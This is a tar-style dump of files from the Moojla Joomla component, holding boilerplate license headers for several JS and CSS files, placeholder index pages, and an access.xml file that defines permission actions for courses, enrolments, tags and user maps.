	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		section.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

 
js/tag.js000064400000002020151156421320006263
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		tag.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

 
js/tag_instance.js000064400000002031151156421320010151
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		tag_instance.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

 
js/user_field_map.js000064400000002033151156421320010472
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		user_field_map.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

 
js/user_map.js000064400000002025151156421330007331
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		user_map.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

 
pusher/index.html000064400000000054151156421330010047
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>pusher/js/index.html000064400000000054151156421330010463
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>access.xml000064400000042011151165724360006537
0ustar00<?xml version="1.0" encoding="utf-8" ?>
<access component="com_moojla">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN"
description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.options"
title="JACTION_OPTIONS"
description="JACTION_OPTIONS_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE"
description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.export"
title="COM_MOOJLA_EXPORT_DATA"
description="COM_MOOJLA_EXPORT_DATA_DESC" />
		<action name="core.import"
title="COM_MOOJLA_IMPORT_DATA"
description="COM_MOOJLA_IMPORT_DATA_DESC" />
		<action name="core.batch"
title="COM_MOOJLA_USE_BATCH"
description="COM_MOOJLA_USE_BATCH_DESC" />
		<action name="core.version"
title="COM_MOOJLA_EDIT_VERSIONS"
description="COM_MOOJLA_EDIT_VERSIONS_DESC" />
		<action name="core.create" title="JACTION_CREATE"
description="JACTION_CREATE_COMPONENT_DESC" />
		<action name="core.delete" title="JACTION_DELETE"
description="JACTION_DELETE_COMPONENT_DESC" />
		<action name="core.edit" title="JACTION_EDIT"
description="JACTION_EDIT_COMPONENT_DESC" />
		<action name="core.edit.state"
title="JACTION_EDITSTATE"
description="JACTION_ACCESS_EDITSTATE_DESC" />
		<action name="core.edit.own"
title="JACTION_EDITOWN"
description="JACTION_EDITOWN_COMPONENT_DESC" />
		    <action name="core.edit.value"
title="JACTION_EDITVALUE"
description="JACTION_EDITVALUE_COMPONENT_DESC" />
		<action name="core.edit.created_by"
title="COM_MOOJLA_EDIT_CREATED_BY"
description="COM_MOOJLA_EDIT_CREATED_BY_DESC" />
		<action name="core.edit.created"
title="COM_MOOJLA_EDIT_CREATED_DATE"
description="COM_MOOJLA_EDIT_CREATED_DATE_DESC" />
		<action name="category_map.batch"
title="COM_MOOJLA_CATEGORIES_MAP_BATCH_USE"
description="COM_MOOJLA_CATEGORIES_MAP_BATCH_USE_DESC" />
		<action name="category_map.version"
title="COM_MOOJLA_CATEGORIES_MAP_EDIT_VERSION"
description="COM_MOOJLA_CATEGORIES_MAP_EDIT_VERSION_DESC" />
		<action name="cohort.batch"
title="COM_MOOJLA_COHORTS_BATCH_USE"
description="COM_MOOJLA_COHORTS_BATCH_USE_DESC" />
		<action name="cohort.dashboard_list"
title="COM_MOOJLA_COHORTS_DASHBOARD_LIST"
description="COM_MOOJLA_COHORTS_DASHBOARD_LIST_DESC" />
		<action name="cohort.version"
title="COM_MOOJLA_COHORTS_EDIT_VERSION"
description="COM_MOOJLA_COHORTS_EDIT_VERSION_DESC" />
		<action name="cohort.submenu"
title="COM_MOOJLA_COHORTS_SUBMENU"
description="COM_MOOJLA_COHORTS_SUBMENU_DESC" />
		<action name="content.batch"
title="COM_MOOJLA_CONTENTS_BATCH_USE"
description="COM_MOOJLA_CONTENTS_BATCH_USE_DESC" />
		<action name="content.version"
title="COM_MOOJLA_CONTENTS_EDIT_VERSION"
description="COM_MOOJLA_CONTENTS_EDIT_VERSION_DESC" />
		<action name="course.contents"
title="COM_MOOJLA_COURSE_CONTENTS_BUTTON_ACCESS"
description="COM_MOOJLA_COURSE_CONTENTS_BUTTON_ACCESS_DESC" />
		<action name="course.fetch"
title="COM_MOOJLA_COURSE_FETCH_BUTTON_ACCESS"
description="COM_MOOJLA_COURSE_FETCH_BUTTON_ACCESS_DESC" />
		<action name="course.fetch_moojla_enrolment"
title="COM_MOOJLA_COURSE_FETCH_MOOJLA_ENROLMENT_BUTTON_ACCESS"
description="COM_MOOJLA_COURSE_FETCH_MOOJLA_ENROLMENT_BUTTON_ACCESS_DESC"
/>
		<action name="course_field_mapper.access"
title="COM_MOOJLA_COURSE_FIELDS_MAPPER_ACCESS"
description="COM_MOOJLA_COURSE_FIELDS_MAPPER_ACCESS_DESC" />
		<action name="course_field_mapper.batch"
title="COM_MOOJLA_COURSE_FIELDS_MAPPER_BATCH_USE"
description="COM_MOOJLA_COURSE_FIELDS_MAPPER_BATCH_USE_DESC"
/>
		<action name="course_field_mapper.dashboard_list"
title="COM_MOOJLA_COURSE_FIELDS_MAPPER_DASHBOARD_LIST"
description="COM_MOOJLA_COURSE_FIELDS_MAPPER_DASHBOARD_LIST_DESC"
/>
		<action name="course_field_mapper.version"
title="COM_MOOJLA_COURSE_FIELDS_MAPPER_EDIT_VERSION"
description="COM_MOOJLA_COURSE_FIELDS_MAPPER_EDIT_VERSION_DESC"
/>
		<action name="course_field_mapper.export"
title="COM_MOOJLA_COURSE_FIELDS_MAPPER_EXPORT"
description="COM_MOOJLA_COURSE_FIELDS_MAPPER_EXPORT_DESC" />
		<action name="course_field_mapper.import"
title="COM_MOOJLA_COURSE_FIELDS_MAPPER_IMPORT"
description="COM_MOOJLA_COURSE_FIELDS_MAPPER_IMPORT_DESC" />
		<action name="course_field_mapper.submenu"
title="COM_MOOJLA_COURSE_FIELDS_MAPPER_SUBMENU"
description="COM_MOOJLA_COURSE_FIELDS_MAPPER_SUBMENU_DESC" />
		<action name="course_group_map.fetch"
title="COM_MOOJLA_COURSE_GROUP_MAP_FETCH_BUTTON_ACCESS"
description="COM_MOOJLA_COURSE_GROUP_MAP_FETCH_BUTTON_ACCESS_DESC"
/>
		<action name="course_group_map.migrate_from_joomdle"
title="COM_MOOJLA_COURSE_GROUP_MAP_MIGRATE_FROM_JOOMDLE_BUTTON_ACCESS"
description="COM_MOOJLA_COURSE_GROUP_MAP_MIGRATE_FROM_JOOMDLE_BUTTON_ACCESS_DESC"
/>
		<action name="course_group_map.batch"
title="COM_MOOJLA_COURSE_GROUP_MAPS_BATCH_USE"
description="COM_MOOJLA_COURSE_GROUP_MAPS_BATCH_USE_DESC" />
		<action name="course_group_map.dashboard_list"
title="COM_MOOJLA_COURSE_GROUP_MAPS_DASHBOARD_LIST"
description="COM_MOOJLA_COURSE_GROUP_MAPS_DASHBOARD_LIST_DESC"
/>
		<action name="course_group_map.version"
title="COM_MOOJLA_COURSE_GROUP_MAPS_EDIT_VERSION"
description="COM_MOOJLA_COURSE_GROUP_MAPS_EDIT_VERSION_DESC"
/>
		<action name="course_group_map.submenu"
title="COM_MOOJLA_COURSE_GROUP_MAPS_SUBMENU"
description="COM_MOOJLA_COURSE_GROUP_MAPS_SUBMENU_DESC" />
		<action name="course.migrate_from_joomdle"
title="COM_MOOJLA_COURSE_MIGRATE_FROM_JOOMDLE_BUTTON_ACCESS"
description="COM_MOOJLA_COURSE_MIGRATE_FROM_JOOMDLE_BUTTON_ACCESS_DESC"
/>
		<action name="course.modules"
title="COM_MOOJLA_COURSE_MODULES_BUTTON_ACCESS"
description="COM_MOOJLA_COURSE_MODULES_BUTTON_ACCESS_DESC" />
		<action name="course.sections"
title="COM_MOOJLA_COURSE_SECTIONS_BUTTON_ACCESS"
description="COM_MOOJLA_COURSE_SECTIONS_BUTTON_ACCESS_DESC" />
		<action name="course.sync_tag"
title="COM_MOOJLA_COURSE_SYNC_TAG_BUTTON_ACCESS"
description="COM_MOOJLA_COURSE_SYNC_TAG_BUTTON_ACCESS_DESC" />
		<action name="course.update_courses"
title="COM_MOOJLA_COURSE_UPDATE_COURSES_BUTTON_ACCESS"
description="COM_MOOJLA_COURSE_UPDATE_COURSES_BUTTON_ACCESS_DESC"
/>
		<action name="course.access"
title="COM_MOOJLA_COURSES_ACCESS"
description="COM_MOOJLA_COURSES_ACCESS_DESC" />
		<action name="course.batch"
title="COM_MOOJLA_COURSES_BATCH_USE"
description="COM_MOOJLA_COURSES_BATCH_USE_DESC" />
		<action name="course.create"
title="COM_MOOJLA_COURSES_CREATE"
description="COM_MOOJLA_COURSES_CREATE_DESC" />
		<action name="course.dashboard_list"
title="COM_MOOJLA_COURSES_DASHBOARD_LIST"
description="COM_MOOJLA_COURSES_DASHBOARD_LIST_DESC" />
		<action name="course.delete"
title="COM_MOOJLA_COURSES_DELETE"
description="COM_MOOJLA_COURSES_DELETE_DESC" />
		<action name="course.edit"
title="COM_MOOJLA_COURSES_EDIT"
description="COM_MOOJLA_COURSES_EDIT_DESC" />
		<action name="course.edit.own"
title="COM_MOOJLA_COURSES_EDIT_OWN"
description="COM_MOOJLA_COURSES_EDIT_OWN_DESC" />
		<action name="course.version"
title="COM_MOOJLA_COURSES_EDIT_VERSION"
description="COM_MOOJLA_COURSES_EDIT_VERSION_DESC" />
		<action name="course.export"
title="COM_MOOJLA_COURSES_EXPORT"
description="COM_MOOJLA_COURSES_EXPORT_DESC" />
		<action name="course.import"
title="COM_MOOJLA_COURSES_IMPORT"
description="COM_MOOJLA_COURSES_IMPORT_DESC" />
		<action name="course.submenu"
title="COM_MOOJLA_COURSES_SUBMENU"
description="COM_MOOJLA_COURSES_SUBMENU_DESC" />
		<action name="enrolment.fetch_enrolments"
title="COM_MOOJLA_ENROLMENT_FETCH_ENROLMENTS_BUTTON_ACCESS"
description="COM_MOOJLA_ENROLMENT_FETCH_ENROLMENTS_BUTTON_ACCESS_DESC"
/>
		<action name="enrolment.batch"
title="COM_MOOJLA_ENROLMENTS_BATCH_USE"
description="COM_MOOJLA_ENROLMENTS_BATCH_USE_DESC" />
		<action name="enrolment.dashboard_list"
title="COM_MOOJLA_ENROLMENTS_DASHBOARD_LIST"
description="COM_MOOJLA_ENROLMENTS_DASHBOARD_LIST_DESC" />
		<action name="enrolment.version"
title="COM_MOOJLA_ENROLMENTS_EDIT_VERSION"
description="COM_MOOJLA_ENROLMENTS_EDIT_VERSION_DESC" />
		<action name="enrolment.submenu"
title="COM_MOOJLA_ENROLMENTS_SUBMENU"
description="COM_MOOJLA_ENROLMENTS_SUBMENU_DESC" />
		<action name="healthcheck.access"
title="COM_MOOJLA_HEALTH_CHECK_ACCESS"
description="COM_MOOJLA_HEALTH_CHECK_ACCESS_DESC" />
		<action name="healthcheck.dashboard_list"
title="COM_MOOJLA_HEALTH_CHECK_DASHBOARD_LIST"
description="COM_MOOJLA_HEALTH_CHECK_DASHBOARD_LIST_DESC" />
		<action name="healthcheck.submenu"
title="COM_MOOJLA_HEALTH_CHECK_SUBMENU"
description="COM_MOOJLA_HEALTH_CHECK_SUBMENU_DESC" />
		<action name="languagetranslation.access"
title="COM_MOOJLA_LANGUAGE_TRANSLATION_ACCESS"
description="COM_MOOJLA_LANGUAGE_TRANSLATION_ACCESS_DESC" />
		<action name="languagetranslation.dashboard_list"
title="COM_MOOJLA_LANGUAGE_TRANSLATION_DASHBOARD_LIST"
description="COM_MOOJLA_LANGUAGE_TRANSLATION_DASHBOARD_LIST_DESC"
/>
		<action name="languagetranslation.submenu"
title="COM_MOOJLA_LANGUAGE_TRANSLATION_SUBMENU"
description="COM_MOOJLA_LANGUAGE_TRANSLATION_SUBMENU_DESC" />
		<action name="module.batch"
title="COM_MOOJLA_MODULES_BATCH_USE"
description="COM_MOOJLA_MODULES_BATCH_USE_DESC" />
		<action name="module.version"
title="COM_MOOJLA_MODULES_EDIT_VERSION"
description="COM_MOOJLA_MODULES_EDIT_VERSION_DESC" />
		<action name="section.batch"
title="COM_MOOJLA_SECTIONS_BATCH_USE"
description="COM_MOOJLA_SECTIONS_BATCH_USE_DESC" />
		<action name="section.version"
title="COM_MOOJLA_SECTIONS_EDIT_VERSION"
description="COM_MOOJLA_SECTIONS_EDIT_VERSION_DESC" />
		<action name="tag_instance.access"
title="COM_MOOJLA_TAG_INSTANCES_ACCESS"
description="COM_MOOJLA_TAG_INSTANCES_ACCESS_DESC" />
		<action name="tag_instance.batch"
title="COM_MOOJLA_TAG_INSTANCES_BATCH_USE"
description="COM_MOOJLA_TAG_INSTANCES_BATCH_USE_DESC" />
		<action name="tag_instance.dashboard_list"
title="COM_MOOJLA_TAG_INSTANCES_DASHBOARD_LIST"
description="COM_MOOJLA_TAG_INSTANCES_DASHBOARD_LIST_DESC" />
		<action name="tag_instance.version"
title="COM_MOOJLA_TAG_INSTANCES_EDIT_VERSION"
description="COM_MOOJLA_TAG_INSTANCES_EDIT_VERSION_DESC" />
		<action name="tag_instance.submenu"
title="COM_MOOJLA_TAG_INSTANCES_SUBMENU"
description="COM_MOOJLA_TAG_INSTANCES_SUBMENU_DESC" />
		<action name="tag.access"
title="COM_MOOJLA_TAGS_ACCESS"
description="COM_MOOJLA_TAGS_ACCESS_DESC" />
		<action name="tag.batch"
title="COM_MOOJLA_TAGS_BATCH_USE"
description="COM_MOOJLA_TAGS_BATCH_USE_DESC" />
		<action name="tag.dashboard_list"
title="COM_MOOJLA_TAGS_DASHBOARD_LIST"
description="COM_MOOJLA_TAGS_DASHBOARD_LIST_DESC" />
		<action name="tag.version"
title="COM_MOOJLA_TAGS_EDIT_VERSION"
description="COM_MOOJLA_TAGS_EDIT_VERSION_DESC" />
		<action name="tag.submenu"
title="COM_MOOJLA_TAGS_SUBMENU"
description="COM_MOOJLA_TAGS_SUBMENU_DESC" />
		<action name="user_field_map.batch"
title="COM_MOOJLA_USER_FIELDS_MAP_BATCH_USE"
description="COM_MOOJLA_USER_FIELDS_MAP_BATCH_USE_DESC" />
		<action name="user_field_map.dashboard_list"
title="COM_MOOJLA_USER_FIELDS_MAP_DASHBOARD_LIST"
description="COM_MOOJLA_USER_FIELDS_MAP_DASHBOARD_LIST_DESC"
/>
		<action name="user_field_map.version"
title="COM_MOOJLA_USER_FIELDS_MAP_EDIT_VERSION"
description="COM_MOOJLA_USER_FIELDS_MAP_EDIT_VERSION_DESC" />
		<action name="user_field_map.submenu"
title="COM_MOOJLA_USER_FIELDS_MAP_SUBMENU"
description="COM_MOOJLA_USER_FIELDS_MAP_SUBMENU_DESC" />
		<action name="user_map.fetch_joomla_users"
title="COM_MOOJLA_USER_MAP_FETCH_JOOMLA_USERS_BUTTON_ACCESS"
description="COM_MOOJLA_USER_MAP_FETCH_JOOMLA_USERS_BUTTON_ACCESS_DESC"
/>
		<action name="user_map.fetch_moodle_users"
title="COM_MOOJLA_USER_MAP_FETCH_MOODLE_USERS_BUTTON_ACCESS"
description="COM_MOOJLA_USER_MAP_FETCH_MOODLE_USERS_BUTTON_ACCESS_DESC"
/>
		<action name="user_map.sync_to_joomla"
title="COM_MOOJLA_USER_MAP_SYNC_TO_JOOMLA_BUTTON_ACCESS"
description="COM_MOOJLA_USER_MAP_SYNC_TO_JOOMLA_BUTTON_ACCESS_DESC"
/>
		<action name="user_map.sync_to_moodle"
title="COM_MOOJLA_USER_MAP_SYNC_TO_MOODLE_BUTTON_ACCESS"
description="COM_MOOJLA_USER_MAP_SYNC_TO_MOODLE_BUTTON_ACCESS_DESC"
/>
		<action name="user_map.batch"
title="COM_MOOJLA_USER_MAPS_BATCH_USE"
description="COM_MOOJLA_USER_MAPS_BATCH_USE_DESC" />
		<action name="user_map.dashboard_list"
title="COM_MOOJLA_USER_MAPS_DASHBOARD_LIST"
description="COM_MOOJLA_USER_MAPS_DASHBOARD_LIST_DESC" />
		<action name="user_map.version"
title="COM_MOOJLA_USER_MAPS_EDIT_VERSION"
description="COM_MOOJLA_USER_MAPS_EDIT_VERSION_DESC" />
		<action name="user_map.export"
title="COM_MOOJLA_USER_MAPS_EXPORT"
description="COM_MOOJLA_USER_MAPS_EXPORT_DESC" />
		<action name="user_map.import"
title="COM_MOOJLA_USER_MAPS_IMPORT"
description="COM_MOOJLA_USER_MAPS_IMPORT_DESC" />
		<action name="user_map.submenu"
title="COM_MOOJLA_USER_MAPS_SUBMENU"
description="COM_MOOJLA_USER_MAPS_SUBMENU_DESC" />
	</section>
	<section name="course">
		<action name="course.access"
title="COM_MOOJLA_COURSES_ACCESS"
description="COM_MOOJLA_COURSES_ACCESS_DESC" />
		<action name="course.edit"
title="COM_MOOJLA_COURSES_EDIT"
description="COM_MOOJLA_COURSES_EDIT_DESC" />
		<action name="course.edit.own"
title="COM_MOOJLA_COURSES_EDIT_OWN"
description="COM_MOOJLA_COURSES_EDIT_OWN_DESC" />
		<action name="course.delete"
title="COM_MOOJLA_COURSES_DELETE"
description="COM_MOOJLA_COURSES_DELETE_DESC" />
		<action name="course.create"
title="COM_MOOJLA_COURSES_CREATE"
description="COM_MOOJLA_COURSES_CREATE_DESC" />
		<action name="course.version"
title="COM_MOOJLA_COURSES_EDIT_VERSION"
description="COM_MOOJLA_COURSES_EDIT_VERSION_DESC" />
	</section>
	<section name="course_field_mapper">
		<action name="course_field_mapper.version"
title="COM_MOOJLA_COURSE_FIELDS_MAPPER_EDIT_VERSION"
description="COM_MOOJLA_COURSE_FIELDS_MAPPER_EDIT_VERSION_DESC"
/>
	</section>
	<section name="user_map">
		<action name="user_map.version"
title="COM_MOOJLA_USER_MAPS_EDIT_VERSION"
description="COM_MOOJLA_USER_MAPS_EDIT_VERSION_DESC" />
	</section>
	<section name="user_field_map">
		<action name="user_field_map.version"
title="COM_MOOJLA_USER_FIELDS_MAP_EDIT_VERSION"
description="COM_MOOJLA_USER_FIELDS_MAP_EDIT_VERSION_DESC" />
	</section>
	<section name="course_group_map">
		<action name="course_group_map.version"
title="COM_MOOJLA_COURSE_GROUP_MAPS_EDIT_VERSION"
description="COM_MOOJLA_COURSE_GROUP_MAPS_EDIT_VERSION_DESC"
/>
	</section>
	<section name="enrolment">
		<action name="enrolment.version"
title="COM_MOOJLA_ENROLMENTS_EDIT_VERSION"
description="COM_MOOJLA_ENROLMENTS_EDIT_VERSION_DESC" />
	</section>
	<section name="tag">
		<action name="tag.version"
title="COM_MOOJLA_TAGS_EDIT_VERSION"
description="COM_MOOJLA_TAGS_EDIT_VERSION_DESC" />
	</section>
	<section name="tag_instance">
		<action name="tag_instance.version"
title="COM_MOOJLA_TAG_INSTANCES_EDIT_VERSION"
description="COM_MOOJLA_TAG_INSTANCES_EDIT_VERSION_DESC" />
	</section>
	<section name="section">
		<action name="section.version"
title="COM_MOOJLA_SECTIONS_EDIT_VERSION"
description="COM_MOOJLA_SECTIONS_EDIT_VERSION_DESC" />
	</section>
	<section name="module">
		<action name="module.version"
title="COM_MOOJLA_MODULES_EDIT_VERSION"
description="COM_MOOJLA_MODULES_EDIT_VERSION_DESC" />
	</section>
	<section name="content">
		<action name="content.version"
title="COM_MOOJLA_CONTENTS_EDIT_VERSION"
description="COM_MOOJLA_CONTENTS_EDIT_VERSION_DESC" />
	</section>
	<section name="category_map">
		<action name="category_map.version"
title="COM_MOOJLA_CATEGORIES_MAP_EDIT_VERSION"
description="COM_MOOJLA_CATEGORIES_MAP_EDIT_VERSION_DESC" />
	</section>
	<section name="cohort">
		<action name="cohort.version"
title="COM_MOOJLA_COHORTS_EDIT_VERSION"
description="COM_MOOJLA_COHORTS_EDIT_VERSION_DESC" />
	</section>
	<section name="category.courses">
		<action name="core.create" title="JACTION_CREATE"
description="JACTION_CREATE_COMPONENT_DESC" />
		<action name="core.delete" title="JACTION_DELETE"
description="COM_CATEGORIES_ACCESS_DELETE_DESC" />
		<action name="core.edit" title="JACTION_EDIT"
description="COM_CATEGORIES_ACCESS_EDIT_DESC" />
		<action name="core.edit.state"
title="JACTION_EDITSTATE"
description="COM_CATEGORIES_ACCESS_EDITSTATE_DESC" />
		<action name="core.edit.own"
title="JACTION_EDITOWN"
description="COM_CATEGORIES_ACCESS_EDITOWN_DESC" />
	</section>
	<section name="fieldgroup">
		<action name="core.create" title="JACTION_CREATE"
description="COM_FIELDS_GROUP_PERMISSION_CREATE_DESC" />
		<action name="core.delete" title="JACTION_DELETE"
description="COM_FIELDS_GROUP_PERMISSION_DELETE_DESC" />
		<action name="core.edit" title="JACTION_EDIT"
description="COM_FIELDS_GROUP_PERMISSION_EDIT_DESC" />
		<action name="core.edit.state"
title="JACTION_EDITSTATE"
description="COM_FIELDS_GROUP_PERMISSION_EDITSTATE_DESC" />
		<action name="core.edit.own"
title="JACTION_EDITOWN"
description="COM_FIELDS_GROUP_PERMISSION_EDITOWN_DESC" />
		<action name="core.edit.value"
title="JACTION_EDITVALUE"
description="COM_FIELDS_GROUP_PERMISSION_EDITVALUE_DESC" />
	</section>
	<section name="field">
		<action name="core.delete" title="JACTION_DELETE"
description="COM_FIELDS_FIELD_PERMISSION_DELETE_DESC" />
		<action name="core.edit" title="JACTION_EDIT"
description="COM_FIELDS_FIELD_PERMISSION_EDIT_DESC" />
		<action name="core.edit.state"
title="JACTION_EDITSTATE"
description="COM_FIELDS_FIELD_PERMISSION_EDITSTATE_DESC" />
		<action name="core.edit.value"
title="JACTION_EDITVALUE"
description="COM_FIELDS_FIELD_PERMISSION_EDITVALUE_DESC" />
	</section>
</access>assets/css/admin.css000064400000002112151165724360010446
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		admin.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */
.no-click {
	pointer-events: none;
}

assets/css/categories_map.css000064400000002057151165724360012350
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		categories_map.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/category_map.css000064400000002055151165724360012036
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		category_map.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/cohort.css000064400000002047151165724360010663
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		cohort.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
